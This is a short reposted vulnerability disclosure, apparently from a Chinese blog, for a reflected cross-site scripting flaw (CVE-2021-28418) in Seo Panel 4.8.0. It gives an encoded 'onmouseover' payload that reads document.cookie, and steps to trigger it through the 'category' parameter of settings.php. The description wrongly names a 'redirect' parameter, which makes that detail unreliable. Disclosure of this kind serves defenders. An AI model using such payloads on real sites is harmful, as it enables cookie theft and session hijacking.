# CVE-2021-28418 Seo Panel 4.8.0 – ‘category’ XSS漏洞
==XSS==
# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS # Date: 22-03-2021 # Exploit Author: Piyush Patil # Vendor Homepage: https://www.seopanel.org/ # Software Link: https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0 # Version: Seo Panel 4.8.0 # Tested on: Windows 10 and Kali # CVE : CVE-2021-28418 -Description: A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter. -Payload used: x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22 -Steps to reproduce: 1- Login to SEO admin panel 2- Visit: http://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22 3- Hover your mouse to "Cancel" field
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
请登录后查看评论内容